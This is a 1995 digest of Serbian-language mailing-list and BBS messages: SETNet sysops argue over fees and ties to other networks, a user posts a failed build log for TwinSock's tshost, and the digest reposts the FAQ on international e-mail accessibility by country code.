email.1580postmast,
From: whellin@almandar.herkules.co.yu (Whellin Almandar)
Subject: Re: Ostale mreze i SETNet
Date: Wed, 16 Aug 95 21:25:28 CET
broker@setnet.co.yu (Predrag Supurovic) writes:
> Imam jedan problem. Samo posao koji je neophodan da bi se naplatila
> pretplata se ne moze pokriti pretplatom od 1DIN. Osim toga, uvodjenjem
> bilo kakv pretplate, SETNet mora na sebe da preuzme obavezu isporucivanja
> odredjenih usluga, strogo profesionalnim odnosom prema pretplatniku.
> Pretplata od 1DIN je nedovoljna da to pokrije.
A ti naplati vishe.. Ako mozesh da ponudish vishe....
Whellin
email.1581postmast,
From: whellin@almandar.herkules.co.yu (Whellin Almandar)
Subject: Re: SETNet i ja
Date: Wed, 16 Aug 95 21:35:41 CET
alenin@setnet.co.yu (Aleksandar Ninkovic) writes:
> > BTW, samo da se uhoda razmena FREENet-a, BC i BINT-a i eto
> > mene tamo...
> E hvala Bogu. Zamolicu Dejana Velinovica da mi javi ako mu je ista potrebno
> da im sto pre proradi razmena kako valja.
Ne hvala... Sada nam vishe ne treba... Kada nam je trebalo mi smo sami trazili
pa NISMO dobili....
Whellin#! rnews 1220
email.1582aleck,
Da li bi neko bio ljubazan da mi kaže šta sve ovo znači...
galeb:/users/etf/aleck/tws>sh build.sh
Cleaning the source code of MS-DOS control characters
Testing for sys/select.h
Testing for sys/ttold.h
Testing for sgtty.h
You don't have it - I will use ioctl.h instead
Attempting to find a compiler that will work
Using cc as the C compiler
Testing for -lsocket
You don't need it
Testing for -lresolv
You don't appear to need resolver libraries
Testing for -lnsl
You don't appear to need -lnsl
You have memcpy and memset
Testing for h_errno
h_errno is where it should be
Using POSIX terminals
Building makefile
Running "make -f Makefile"
cc -DNO_SGTTY_H -c tshost.c
tshost.c: In function `main':
tshost.c:179: warning: passing arg 2 of `accept' from incompatible pointer type
tshost.c:198: warning: passing arg 5 of `recvfrom' from incompatible pointer
typ
e
cc -DNO_SGTTY_H -c packet.c
In file included from packet.h:24,
from packet.h:24,
from packet.h:24,
from packet.h:24,
(...pa ovo from... se ponovi još jedno milion puta...)
from packet.h:24,
from packet.h:24,
from packet.c:24:
packet.h:24: macro or `#include' recursion too deep
packet.h:25: macro or `#include' recursion too deep
packet.h:96: macro or `#include' recursion too deep
packet.h:117: macro or `#include' recursion too deep
packet.h:121: macro or `#include' recursion too deep
packet.h:393: macro or `#include' recursion too deep
packet.h:449: macro or `#include' recursion too deep
packet.h:451: macro or `#include' recursion too deep
packet.h:457: macro or `#include' recursion too deep
packet.h:475: macro or `#include' recursion too deep
packet.h:485: macro or `#include' recursion too deep
packet.h:489: macro or `#include' recursion too deep
packet.h:914: macro or `#include' recursion too deep
packet.h:923: macro or `#include' recursion too deep
packet.h:934: macro or `#include' recursion too deep
In file included from packet.h:25,
from packet.h:24,
from packet.h:24,
(...ovde isto milion...)
from packet.h:24,
from packet.h:24,
from packet.c:24:
twinsock.h:15: macro or `#include' recursion too deep
twinsock.h:15: empty #if expression
twinsock.h:15: unterminated `#if' conditional
In file included from packet.h:24,
from packet.h:24,
from packet.h:24,
from packet.h:24,
from packet.h:24,
(...pa opet...)
from packet.h:24,
from packet.c:24:
packet.h:126: macro or `#include' recursion too deep
packet.h:126: macro or `#include' recursion too deep
packet.h:127: macro or `#include' recursion too deep
packet.h:127: macro or `#include' recursion too deep
packet.h:128: macro or `#include' recursion too deep
packet.h:128: macro or `#include' recursion too deep
packet.h:449: macro or `#include' recursion too deep
packet.h:449: macro or `#include' recursion too deep
packet.h:457: macro or `#include' recursion too deep
packet.h:457: macro or `#include' recursion too deep
packet.h:489: macro or `#include' recursion too deep
packet.h:489: macro or `#include' recursion too deep
(...i na kraju ovo: )
Block LIMIT reached on rootfs for user 20189. !! NO MORE !!
cpp: /tmp/cca10214.i: Quota exceeded
make: *** [packet.o] Error 1
Da li su ove preduboke rekurzije dovele do toga da nemam
dovoljno mesta ili 25%(40000 nečega od 162000) prostora
koji mi je preostao nije dovoljan za kompajliranje tshost-a?
Jel može neko da mi pošalje kompajliran?
email.1583spantic,
-> #1582, aleck> galeb:/users/etf/aleck/tws>sh build.sh
Na Galebu je tshost smešten u local/bin, ne moraš da
kompajliraš.
email.1584aleck,
-> #1583, spantic>&> Na Galebu je tshost smešten u local/bin, ne moraš da
>&> kompajliraš.
E da sam znao onda ne bi...ma,beh...Thanks.
email.1585postmast,
From: milos@osmeh.fon.bg.ac.yu (Milos Vujanic)
Subject: Sta svet zna o nasem pristupu na Inet?
Date: Thu, 17 Aug 1995 20:42:32 GMT
Path: senator-bedfellow.mit.edu!faqserv
From: o.crepin-leblond@imperial.ac.uk (Olivier M.J. Crepin-Leblond)
Newsgroups: comp.mail.misc,comp.mail.uucp,news.newusers.questions,alt.internet.services,alt.internet.access.wanted,alt.answers,comp.answers,news.answers
Subject: FAQ: International E-mail accessibility
Supersedes: <mail/country-codes_804265369@rtfm.mit.edu>
Followup-To: poster
Date: 27 Jul 1995 18:50:30 GMT
Organization: Imperial College London, UK.
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Approved: news-answers-request@MIT.Edu
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Summary: This posting gives a list of country codes with email accessibility.
It is helpful in finding-out if a country has easy access to
email and internet facilities and is aimed at general email and
internet users.
X-Last-Updated: 1995/07/20
Originator: faqserv@bloom-picayune.MIT.EDU
Xref: senator-bedfellow.mit.edu comp.mail.misc:25134 comp.mail.uucp:16197 news.newusers.questions:79037 alt.internet.services:57231 alt.internet.access.wanted:31379 alt.answers:10978 comp.answers:13329 news.answers:49452
Archive-name: mail/country-codes
Last-modified: 1995/07/18
Based on International Standard ISO 3166 Names
Compiled by Olivier M.J. Crepin-Leblond
E-mail: <ocl@ic.ac.uk>
Release: 95.07.02
Release Notes: a. Pakistan (PK) and Nepal (NP) with Full Internet (FI)
b. World Wide Web (WWW) version available
This document is Copyright 1995 by Olivier Crepin-Leblond.
No part of this document may be reproduced in any commercial publication
by any means - graphic, electronic, or mechanical, including photocopying,
recording, taping, or storage in an information retrieval system without
prior written permission of the copyright holder.
It may however be freely redistributed in its entirety provided that
this copyright notice, its headers "Archive-name", "Last-modified",
and "Release" are not removed.
Every now-and-then there are enquiries on the net regarding
E-mail to a distant country. The question is often of the type
"has that country got E-mail access ?". The following table is a
guide of country codes, showing the countries which have access to
Internet or general E-mail services. The country codes have been
derived from the International Organization for Standardization
standard ISO 3166. A country code is taken as a top level domain
once it is registered at rs.internic.net so *not* all country codes
listed are top level domains. At the bottom of the table, there is
also a section of general top level domains, based on the information
available at rs.internic.net.
NOTES:
1. Description of codes:
FI stands for FULL INTERNET access. This includes 'telnet', 'ftp',
and internet E-mail.
B stands for BITNET access although the address may be in internet
DNS (Domain Name System) format.
* (Asterisk) means that the country is reachable by E-mail. If this is
not preceded by FI or B, it means that the connection may be a UUCP
connection. An asterisk is included after FI or B for consistency.
PFI stands for a provisional full internet connection.(+)
P stands for provisional connection. (+)
(+) This is used when one or more of the following is true:
- address not verified or lack of address
- UUCP dialup not active
- net connection possible but not officially announced
- premature official announcement of connection
F stands for a country that is connected to Internet only via means
of the FIDOnet network. It is assumed that the FIDO connection in this
case is stable and reliable.
2. Networks which are not included:
Networks such as MILNET (U.S. Military's unclassified portion of the
DDN - Data Defense Network) have computers all around the world. It is
generally possible to assume that wherever there is a U.S. military base,
there will be a node reachable through gateways.
Private company networks such as for DEC (Digital Equipment Corp.),
or Sun Microsystems, for example, have nodes in many exotic locations.
However the connection may take place via UUCP and cost a lot of money.
Those networks have therefore not been included. In addition, those
are PRIVATE networks.
Many companies ( like U.S. Sprint, for example ) offer commercial
services to many countries which are not readily available on
the Internet. The service is VERY COSTLY, usually takes place via
UUCP or X.400 connections. X.400 E-mail is usually charged to
someone and if the telecommunication carrier cannot find someone
to pay for the message transfer, it will reject it. As a result,
those types of network have not been included in the list.
Although a user may RECEIVE E-mail from a user on those networks, one
may not be able to reply to it.
3. Updates:
The situation changes from day to day. The growth in international
networking is such that the information contained in this document
may be out of date by the time it reaches you.
If you have any update (i.e. knowledge that a new country is connected),
please send a message to <ocl@ic.ac.uk>, including an example address
from the country reached so that it can be verified.
Furthermore, if you are a connection provider or could provide a
low cost connection in a country, and are not listed as a provider in
that country (see "FURTHER INFORMATION" section), please notify either
Randy Bush <randy@psg.com> or me.
NOTE: This doesn't include providers for North America.
If you are a North American provider, then please DON'T contact us.
4. .US sites
While there are several hundreds of BITNET nodes in USA, none have
a name in the format `.US'. That's why the .us domain is only FI and *.
5. .edu, .com, etc.
The domains in this section are special in that some of them are
used in more than one country. The domains which have full internet
access are marked accordingly. However, this doesn't mean that *all*
of those domains have full internet access. For example,
only a small proportion of .mil sites have full internet access. The
same is true for .com sites, for example.
6. UK and GB domains
There are two codes for United Kingdom, namely UK and GB. While
UK is used for addressing of most domains in DNS format, the field
GB is used mainly in the X.400 addressing of United Kingdom sites.
However, there is an increasing trend in some United Kingdom sites
being directly connected to Internet under the GB domain. The GB domain
is hence a perfectly suitable Internet top level domain.
When looking for further information, it is worth looking at both
UK and GB for United Kingdom.
7. Further information column
This column contains information as follows:
- E-mail address of a contact from which further information may be obtained
and/or
- Details of a gopher system that can be queried for further information
in this case, look at Section 8: Where to find further information
or
- If no other information available: nameserver details, if any.
This is the main nameserver as listed in the rs.internic.net database.
Those often change as the network grows, and it is hard to keep track of
all nameservers, but they should usually work. Nameservers can be
queried by users using nslookup.
8. Where to find further information
A number of sites run on-line information databases, mail-servers,
and gopher information systems where further information can be found.
- rs.internic.net
Part of this site, the InterNIC database services, contains the
Internet "white pages". The "whois" section of the "white pages"
has registration records for top level domains. "whois" can be
accessed by connecting interactively (telnet rs.internic.net),
or via gopher (gopher rs.internic.net) or using the "whois"
command available on some computer systems (whois -h rs.internic.net).
Registration records for a domain are sometimes useful since they
provide Administrative and Technical Contacts for this domain
and those may hence be able to provide further information.
- gopher.ripe.net
This is a gopher system run by ripe.net, the co-ordinator for
European Internet nodes. It contains a lot of information regarding
European IP, etc. It may be accessed either as "gopher gopher.ripe.net"
or "telnet gopher.ripe.net" and logging-in appropriately.
It also has a "whois" database.
- GNET: an Archive and Electronic Journal
This is co-ordinated by Larry Press <lpress@dhvx20.csudh.edu>
Archived documents are available by anonymous ftp from the
directory global_net at dhvx20.csudh.edu (155.135.1.1). To
conserve bandwidth, the archive contains an abstract of each
document, as well as the full document.
In addition to the archive, there is a moderated GNET
discussion list.
To submit a document to the archive or subscribe to the moderated
discussion list, use the address gnet_request@dhvx20.csudh.edu.
- BITNIC Bitnet Network Information Center
Bitnet LISTSERVs contain files which list all BITNET sites around
the world. For a listing of all BITNET sites, in country code order,
send a message to LISTSERV@Bitnic.educom.edu (or LISTSERV@BITNIC for
BITNET folks), no subject, and the command:
GET NODES INFO3
in the body of the message.
A very long file of information on all international BITNET sites
can be ftp'ed from Bitnic.educom.edu and is called BITEARN.NODES .
It is more than 2Mb long.
- gopher.psg.com
This gopher system, maintained by the Network Startup Resource
Center and PSGnet/RAINet contains perhaps the most comprehensive
collection of information about country connectivity.
It may be accessed as "gopher gopher.psg.com". For the gopher client
impaired, one can telnet to gopher.psg.com and login as gopher.
An important feature is an E-mail interface to access the information
in the gopher system.
Send E-mail to: server@gopher.psg.com
any subject, and in the body of the message:
send country/<country-code>
Example: if you want further information about Brazil (country code BR)
send country/BR
Many thanks to Randy Bush <randy@psg.com> and to John Klensin
<klensin@infoods.unu.edu> for setting-up this site and this
collaborative effort.
9. Archiving
Once released, this document is archived in a number of archive
sites around the world. Amongst them:
ftp://rtfm.mit.edu:/pub/usenet/news.answers/mail/
ftp://lth.se:/pub/netnews/news.answers/mail/
#ftp://ftp.uu.net:/usenet/news.answers/mail/
#ftp://unix.hensa.ac.uk:/pub/uunet/usenet/news.answers/mail/
#ftp://grasp.insa-lyon.fr:/pub/faq/mail/
(#) those may not be accessible via Bear access or direct PC access
in some cases.
Via E-mail request as follows:
mail ftpmail@grasp.insa-lyon.fr
Subject: no one cares
open
[mime]
get pub/faq/mail/country-codes
quit
where [ ] = optional
All FAQs are also available via listserv@cc1.kuleuven.ac.be or
listserv@blekul11.bitnet . For an index of all FAQs available,
put the command GET NETFAQS FILELIST in the body of your message.
The document is also retrievable by E-mail from rtfm.mit.edu by
sending an E-mail to mail-server@rtfm.mit.edu , blank subject line
and the command: send usenet/news.answers/mail/country-codes
The up-to-date, pre-release document is also available using an
experimental simple mail-server that I have setup from my account.
Send E-mail to: <ocl@ic.ac.uk> with a subject: archive-server-request
and the command: get mail/country-codes in the body of your message.
The document is also distributed automatically once a month on a
mailing list. To subscribe to that mailing list, send a message to:
listserver@ic.ac.uk with the command in the body of the message:
SUBSCRIBE country-codes <your-name>
where "<your-name>" is your real name.
10. New World-Wide-Web (WWW) document
An experimental (i.e: under construction) WWW version of this document
is available as:
http://www.ee.ic.ac.uk/misc/country-codes.html
This is currently experimental, so its reference may change at short
notice, and some of the links in the document are currently not working.
HTTP references for Top-Level information servers for a particular country
should be sent to <ocl@ic.ac.uk>.
ISO 3166 Codes + Top level domains.
WARNING:
The link to some countries marked as being connected to Internet via
UUCP or FIDO is often an expensive telephone dialup link. The people
in those countries pay dearly for every byte of information sent to
them. It is therefore not advised to send an electronic mail to a
remote node in such a country asking "how's the weather there".
When it comes to money, people take things very seriously, especially
since funds are scarce. It is a matter of net etiquette to keep this
in mind. Junk mail sent to any node that has to pay a lot for its
telephone connection will clearly be dealt with HARSHLY and evasive
action may well be taken against those not respecting this notice.
Code Country Conn Notes Further information
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
AD Andorra
AE United Arab Emirates FI * gopher gopher.psg.com
AF Afghanistan(Islamic St.)
AG Antigua and Barbuda FI * gopher gopher.psg.com
AI Anguilla FI *
AL Albania P gopher gopher.psg.com
AM Armenia FI * Ex-USSR
AN Netherland Antilles
AO Angola (Republic of) * gopher gopher.psg.com
AQ Antarctica FI * intermittent luxor.cc.waikato.ac.nz
AR Argentina FI B * gopher gopher.psg.com
AS American Samoa
AT Austria FI B * gopher gopher.ripe.net
telnet ns.ripe.net
AU Australia FI * munnari.oz.au
AW Aruba * gopher gopher.psg.com
AZ Azerbaijan FI B * Ex-USSR gopher gopher.psg.com
BA Bosnia-Herzegovina
BB Barbados FI * upr1.upr.clu.edu
BD Bangladesh F
BE Belgium FI B * gopher gopher.ripe.net
telnet ns.ripe.net
BF Burkina Faso * gopher gopher.psg.com
BG Bulgaria FI B * gopher gopher.psg.com
BH Bahrain B * gopher gopher.psg.com
BI Burundi
BJ Benin
BM Bermuda FI *
BN Brunei Darussalam
BO Bolivia * gopher gopher.psg.com
BR Brazil FI B * gopher gopher.psg.com
BS Bahamas * upr1.upr.clu.edu
BT Bhutan
BV Bouvet Island
BW Botswana * gopher gopher.psg.com
BY Belarus FI * Ex-USSR gopher gopher.psg.com
BZ Belize * gopher gopher.psg.com
CA Canada FI B * relay.cdnnet.ca
CC Cocos (Keeling) Isl.
CF Central African Rep.
CG Congo * gopher gopher.psg.com
CH Switzerland FI B * gopher gopher.ripe.net
telnet ns.ripe.net
CI Ivory Coast * gopher gopher.psg.com
CK Cook Islands
CL Chile FI B * gopher gopher.psg.com
dcc.uchile.cl
CM Cameroon FI * in .fr domain gopher gopher.psg.com
CN China FI * ns.cnc.ac.cn
gopher gopher.psg.com
CO Colombia FI B * gopher gopher.psg.com
cunixd.cc.columbia.edu
CR Costa Rica FI B * gopher gopher.psg.com
CS Czechoslovakia ******** not a top-level domain anymore ********
CU Cuba * gopher gopher.psg.com
CV Cape Verde
CX Christmas Island
CY Cyprus FI B * gopher gopher.ripe.net
CZ Czech Republic FI B * gopher gopher.ripe.net
telnet ns.ripe.net
DE Germany FI B * gopher gopher.ripe.net
telnet ns.ripe.net
gopher gopher.psg.com
DJ Djibouti
DK Denmark FI B * gopher gopher.ripe.net
telnet ns.ripe.net
DM Dominica * upr1.upr.clu.edu
DO Dominican Republic FI * gopher gopher.psg.com
DZ Algeria FI * gopher gopher.psg.com
EC Ecuador FI B * gopher gopher.psg.com
EE Estonia FI * gopher gopher.psg.com
EG Egypt FI B * gopher gopher.psg.com
EH Western Sahara
ER Eritrea * gopher gopher.psg.com
ES Spain FI B * gopher gopher.ripe.net
telnet ns.ripe.net
ET Ethiopia F gopher gopher.psg.com
FI Finland FI B * gopher gopher.ripe.net
telnet ns.ripe.net
FJ Fiji FI * gopher gopher.psg.com
FK Falkland Isl.(Malvinas)
FM Micronesia
FO Faroe Islands FI * danpost.uni-c.dk
FR France FI B * gopher gopher.ripe.net
telnet ns.ripe.net
gopher gopher.psg.com
FX France (European Ter.) ???
GA Gabon
GB Great Britain (UK) FI * X.400 & IP ns1.cs.ucl.ac.uk
GD Grenada P upr1.upr.clu.edu
GE Georgia * Ex-USSR ns.eu.net
GF Guiana (Fr.) * gopher gopher.psg.com
GH Ghana * gopher gopher.psg.com
GI Gibraltar
GL Greenland PFI * gopher gopher.psg.com
GM Gambia F gopher gopher.psg.com
GN Guinea PFI * dial-IP
GP Guadeloupe (Fr.) P gopher gopher.psg.com
GQ Equatorial Guinea
GR Greece FI B * gopher gopher.ripe.net
telnet ns.ripe.net
GS South Georgia and
South Sandwich Islands
GT Guatemala * ns.uu.net
GU Guam (US) FI * in US domains gopher gopher.psg.com
GW Guinea Bissau
GY Guyana *
HK Hong Kong FI B * hp9000.csc.cuhk.hk
HM Heard & McDonald Isl.
HN Honduras * ns.uu.net
HR Croatia FI * dns.srce.hr
HT Haiti P gopher gopher.psg.com
HU Hungary FI B * gopher gopher.ripe.net
telnet ns.ripe.net
gopher gopher.psg.com
ID Indonesia FI * gopher gopher.psg.com
ns.uu.net
IE Ireland FI B * gopher gopher.ripe.net
telnet ns.ripe.net
IL Israel FI B * relay.huji.ac.il
IN India FI B * gopher gopher.psg.com
sangam.ncst.ernet.in
IO British Indian O. Terr.
IQ Iraq
IR Iran FI B * gopher gopher.psg.com
IS Iceland FI B * gopher gopher.ripe.net
telnet ns.ripe.net
IT Italy FI B * gopher gopher.ripe.net
telnet ns.ripe.net
JM Jamaica FI * gopher gopher.psg.com
JO Jordan
JP Japan FI B * gopher gopher.psg.com
jp-gate.wide.ad.jp
KE Kenya * gopher gopher.psg.com
KG Kyrgyz Republic Ex-USSR
KH Cambodia *
KI Kiribati
KM Comoros
KN St.Kitts Nevis Anguilla P upr1.upr.clu.edu
KP Korea (North) P
KR Korea (South) FI B * ns.kaist.ac.kr
KW Kuwait FI * No BITNET gopher gopher.psg.com
KY Cayman Islands FI *
KZ Kazachstan FI * Ex-USSR
LA Laos
LB Lebanon FI * gopher gopher.psg.com
LC Saint Lucia * upr1.upr.clu.edu
LI Liechtenstein FI * gopher gopher.ripe.net
telnet ns.ripe.net
LK Sri Lanka FI * gopher gopher.psg.com
LR Liberia
LS Lesotho * gopher gopher.psg.com
LT Lithuania FI * Ex-USSR aun.uninett.no
LU Luxembourg FI B * gopher gopher.ripe.net
telnet ns.ripe.net
LV Latvia FI * Ex-USSR lapsene.mii.lu.lv
LY Libya
MA Morocco PFI * FI late'94/'95 gopher gopher.psg.com
MC Monaco FI *
MD Moldova FI * intermittent
MG Madagascar (Republic of) * gopher gopher.psg.com
MH Marshall Islands
MK Macedonia (former Yug.)FI * gopher gopher.psg.com
ML Mali * gopher gopher.psg.com
MM Myanmar
MN Mongolia * gopher gopher.psg.com
MO Macau FI * hkuxb.hku.hk
MP Northern Mariana Isl.
MQ Martinique (Fr.)
MR Mauritania
MS Montserrat
MT Malta P ns.iunet.it
MU Mauritius * gopher gopher.psg.com
MV Maldives
MW Malawi F
MX Mexico FI B * gopher gopher.psg.com
mtecv1.mty.itesm.mx
MY Malaysia FI B * mimos.my
MZ Mozambique FI * gopher gopher.psg.com
NA Namibia * gopher gopher.psg.com
gopher gopher.psg.com
NC New Caledonia (Fr.) * gopher gopher.psg.com
NE Niger * in .fr domain gopher gopher.psg.com
NF Norfolk Island
NG Nigeria F gopher gopher.psg.com
NI Nicaragua FI * gopher gopher.psg.com
NL Netherlands FI B * gopher gopher.ripe.net
telnet ns.ripe.net
NO Norway FI B * gopher gopher.ripe.net
telnet ns.ripe.net
NP Nepal FI * gopher gopher.psg.com
NR Nauru
NU Niue
NZ New Zealand FI * truth.waikato.ac.nz
OM Oman *
PA Panama FI B * gopher gopher.psg.com
PE Peru FI * gopher gopher.psg.com
PF Polynesia (Fr.) * gopher gopher.psg.com
PG Papua New Guinea * munnari.oz.au
PH Philippines FI * ns.uu.net
PK Pakistan FI * gopher gopher.psg.com
PL Poland FI B * gopher gopher.ripe.net
telnet ns.ripe.net
gopher gopher.psg.com
PM St. Pierre & Miquelon
PN Pitcairn
PR Puerto Rico (US) FI B * sun386-gauss.pr
PT Portugal FI B * gopher gopher.ripe.net
telnet gopher.ripe.net
PW Palau
PY Paraguay * ns.uu.net
QA Qatar
RE Reunion (Fr.) FI * In .fr domain inria.inria.fr
RO Romania FI B * roearn.ici.ac.ro
RU Russian Federation FI B * Ex-USSR
RW Rwanda F currently cut gopher gopher.psg.com
SA Saudi Arabia FI B * dial-ip gopher gopher.psg.com
SB Solomon Islands
SC Seychelles * gopher gopher.psg.com
SD Sudan F
SE Sweden FI B * gopher gopher.ripe.net
telnet ns.ripe.net
SG Singapore FI B * gopher solomon.technet.sg
gopher gopher.psg.com
SH St. Helena
SI Slovenia FI * gopher gopher.ripe.net
telnet ns.ripe.net
SJ Svalbard & Jan Mayen IsFI * in .no domain
SK Slovakia (Slovak Rep) FI B * gopher gopher.ripe.net
telnet ns.ripe.net
SL Sierra Leone * gopher gopher.psg.com
SM San Marino
SN Senegal * gopher gopher.psg.com
SO Somalia
SR Suriname * upr1.upr.clu.edu
ST St. Tome and Principe
SU Soviet Union FI B * Still used. gopher gopher.psg.com
SV El Salvador gopher gopher.psg.com
SY Syria
SZ Swaziland * gopher gopher.psg.com
TC Turks & Caicos Islands
TD Chad
TF French Southern Terr.
TG Togo * gopher gopher.psg.com
TH Thailand FI * gopher gopher.psg.com
chulkn.chula.ac.th
TJ Tadjikistan Ex-USSR
TK Tokelau
TM Turkmenistan * Ex-USSR in .su domain
TN Tunisia FI B * gopher gopher.psg.com
alyssa.rsinet.tn
TO Tonga
TP East Timor
TR Turkey FI B * gopher gopher.psg.com
knidos.cc.metu.edu.tr
TT Trinidad & Tobago * gopher gopher.psg.com
TV Tuvalu
TW Taiwan FI B * gopher gopher.psg.com
TZ Tanzania F gopher gopher.psg.com
UA Ukraine FI * gopher gopher.psg.com
UG Uganda F gopher gopher.psg.com
UK United Kingdom FI B * ISO 3166 is GB telnet news.janet.ac.uk
gopher news.janet.ac.uk
UK Network Enq. <liaison@nsfnet-relay.ac.uk>
gopher gopher.psg.com
UM US Minor outlying Isl.
US United States FI * see note (4) venera.isi.edu
UY Uruguay FI B * gopher gopher.psg.com
UZ Uzbekistan FI * Ex-USSR
VA Vatican City State
VC St.Vincent & Grenadines P upr1.upr.clu.edu
VE Venezuela FI * nisc.jvnc.net
VG Virgin Islands (British)
VI Virgin Islands (US) FI * gopher gopher.psg.com
VN Vietnam * gopher gopher.psg.com
VU Vanuatu * gopher gopher.psg.com
WF Wallis & Futuna Islands
WS Samoa
YE Yemen
YT Mayotte
YU Yugoslavia B * effectively cut-off completely
ZA South Africa FI * gopher gopher.psg.com
ZM Zambia FI * intermittent gopher gopher.psg.com
ZR Zaire
ZW Zimbabwe FI * gopher gopher.psg.com
See Note [5] for the next top level domains (rs.internic.net):
ARPA Old style Arpanet * alias still works ns.nic.ddn.mil
COM Commercial FI * telnet whois.internic.net
EDU Educational FI B * telnet whois.internic.net
email.1586postmast,
From: alenin@setnet.co.yu (Aleksandar Ninkovic)
Subject: Who is the best?
Date: Thu, 17 Aug 1995 00:56:00
> Sto ne sprecava alenina i tebe da sarkasticno
>prognozirate,
> omalovazavate i pljujete ljude koji pokrecu te mreze...
To je vec tvoj specijalitet. A poseban je brutalna laz, kao ova gornja.
* Origin: SETNet:INFOSYS BBS * BBS u ilegali ;> * (38:103/114)
email.1587postmast,
From: alenin@setnet.co.yu (Aleksandar Ninkovic)
Subject: Cut.religion
Date: Thu, 17 Aug 1995 00:59:00
> Stvar je u tome sto u slucaju NET.RELIGION niko nije
>iskakao iz
> okvira konferencije. To je bila stvar licnog shvatanja
>izvesnog
> "organa", a ne krsenje opste prihvacenh normi ponasanja.
:)) Dobro, dobro ..ok, otvoricemo posebnu konferenciju gde ces moci da
izzivljavas svoje mrznje i niske strasti i nazvacemo je net.religion da ti se
dusa, napokon smiri sto nismo hteli da ucewstvujemo u tvom orgijanju.
* Origin: SETNet:INFOSYS BBS * BBS u ilegali ;> * (38:103/114)
email.1588postmast,
From: Milos.Petrovic@p1.f0.n111.z38.setnet.setnet.co.yu (Milos Petrovic)
Subject: Demokratija & SETNet
Date: Wed, 16 Aug 1995 10:35:17
AN>>Evo da probam ja :) Ako poruke iz te konferencije koju delis samo BUSSINES
AN>>grupi prosledjujes na SETNet,bio bi iskljucen ako ne prestanes, ili se ne
AN>>pridrzavas dogovora koji vaze za komercijalne konferencije. Ako bi
AN>>komercijalne konferencije samo davao na citanje i nista vise - nista :) to j
AN>>tvoj izbor, ali ako te konferencije dajes na citanje SAMO bussines grupi a n
AN>>i ostalim korisnicima, onda vazi kao pod 1.
Znaci ja mogu oglase koje ste vi skupili da prodajem kome ja hocu i da
vam za to nedam ni dinara, pod uslovom da ih vide i svi ostali korisnici...,
pa to je bio glavni problem.
* Origin: MYSTERY BBS * 021 715-913 24h * Novi Sad * SETNet: (38:111/0.1)
email.1589postmast,
From: Milos.Petrovic@p1.f0.n111.z38.setnet.setnet.co.yu (Milos Petrovic)
Subject: Ostale mreze i SETNet
Date: Wed, 16 Aug 1995 10:35:21
DM>>>>>mreze, sto ne stoji. Svaki SETNet BBS je slobodan da se povezuje u
DM>>>>>bilo koju drugu mrezu.
DM>> MP> Kako te nije sramota, pa sto ste onda svi napali jadnog Damira, vise
DM>> MP> nesme ni da nazove Panon kao obican korisnik.
DM>>Toliko cenis Damira da mislis da on sam ne sme da odlucuje o svojim
DM>>postupcima. Super. :|
Da sam ja bio na njegovom mestu i da mi je neko postavio uslov ili
SETNET ili PANON, dukobo bi se zamislio, Damir je sam odlucio, njemu
nista ne zameram, samo ucene je ipak bilo.
* Origin: MYSTERY BBS * 021 715-913 24h * Novi Sad * SETNet: (38:111/0.1)
email.1590postmast,
From: Milos.Petrovic@p1.f0.n111.z38.setnet.setnet.co.yu (Milos Petrovic)
Subject: Demokratija & SETNet
Date: Wed, 16 Aug 1995 10:35:26
DM>>Zao mi je sto se tebi to ne svidja, ali tako je bilo.
DM>> MP> i onda je tu palo mozda malo
DM>> MP> tezih reci sa obe strane neko se uvredio, i zbog toga odustao, a ne
DM>> MP> zbog suma.
DM>>Decko, sa moje strane nije bilo teskih reci. Zapravo nisam nista hteo da
DM>>kazem zato sto je tu bilo ljudi koje sam i cenio, jednostavno sam rekao
DM>>da mi je dosta ....
Kazem ja da meni ne smetaju ni ljudi ni SETNET, nego taj nadmeni ton
pripadnika organizacije.
* Origin: MYSTERY BBS * 021 715-913 24h * Novi Sad * SETNet: (38:111/0.1)
email.1591postmast,
From: kovacev@setnet.co.yu (Zoran Kovacev)
Subject: Re: Rusenje BBLink-a
Date: Thu, 17 Aug 1995 00:36:42
-=> Quoting Sloba Markovic to Aleksandar Ninkovic <=-
SM> BTW, srce me boli sto nemam (mozda ima VladaP sa Durlana) onu
SM> poruku iz NET.SYSOPS potpisanu sa "Predrag Supurovic sr." u
SM> kojoj on naredjuje svima onima koji su u dve mreze (SETnet i
SM> BBLink) da se odluce sa kim ce (ili SETNet ili BBLink - treceg
SM> nema). Ne verujem da za to tada bilo nekog glasanja.
Te poruke se uopste ne secam, a sa Pronet-om sam se povezao,
a da niko nije ni zucnuo...
* Origin: SETNet-ICM Digital BBS * Subotica * (024)51-212 * (38:111/118)
email.1592postmast,
From: broker@setnet.co.yu (Predrag Supurovic)
Subject: SETNet
Date: Wed, 16 Aug 1995 12:43:43
MP> Nisi mi uopste odgovorio na pitanje, ja na svom BBS-u napravim
MP> kategoriju BUSSINES i njoj dam jedino da vidi neku KOMERCIAL
MP> konferenciju, i u njoj prodajem informacije koje dobijam od SetNet-a,
MP> a clan sam SetNet-a, a njemu (Setnet-u) nedajem ni dinara. Sta onda?
Reply sam ti prebacio u NET.SERVICE, da ne davimo ovde ljude sa temom
koja vise nikakve veze nema sa yu.email.
... BR> Oreska BBS ima ON-LINE biblioteku SF-a.
-+- OLMS 2.5 UNREG
* Origin: Oreska BBS, Uzice = SF BIBLIOTEKA = SETNet: (38:101/101)
email.1593postmast,
From: broker@setnet.co.yu (Predrag Supurovic)
Subject: Ostale mreze i SETNet
Date: Wed, 16 Aug 1995 12:43:44
PS> MP> Kako te nije sramota, pa sto ste onda svi napali jadnog Damira, vise
PS> MP> nesme ni da nazove Panon kao obican korisnik.
PS>Damira niko nije napao zato sto je korisnik Panon BBS-a i zato sto
PS>povezuje Sledge Hammer! i Panon. Izmislis pa posle napadas sa
PS>izmisljotinama.
ZD> ili krace zivce. Ovakve izjave poput izmisljas, lupetas, vrlo lako
ZD> dovode do paljenja kapisle. Ne vidim sta je razlika kad nekom kazes da
ZD> je imbecil ili lazov. I jedno i drugo spada pod vredjanje korisnika,
ZD> nije primereno koordinatoru mreze. Da ne bude zabune ON je rekao nekom
Cek, sta ja tu mogu? Covek je izneo tvrdnju a ja sam rekao da ta tvrdnja
nije tacna. Ako je ispao lazov to je njegov problem, ne moj.
ZD> Damira neko JESTE napao i moram da ti kazem da je covek
ZD> PRVO pitao u telefonskom razgovoru da li hocu da udjem u SetNet, na
ZD> moje obrazlozenje zasto necu, poceli smo razgovor o nasem povezivanju.
Vidis, kod nas je bilo drugacije, Damir nas nije izvestio kako teku
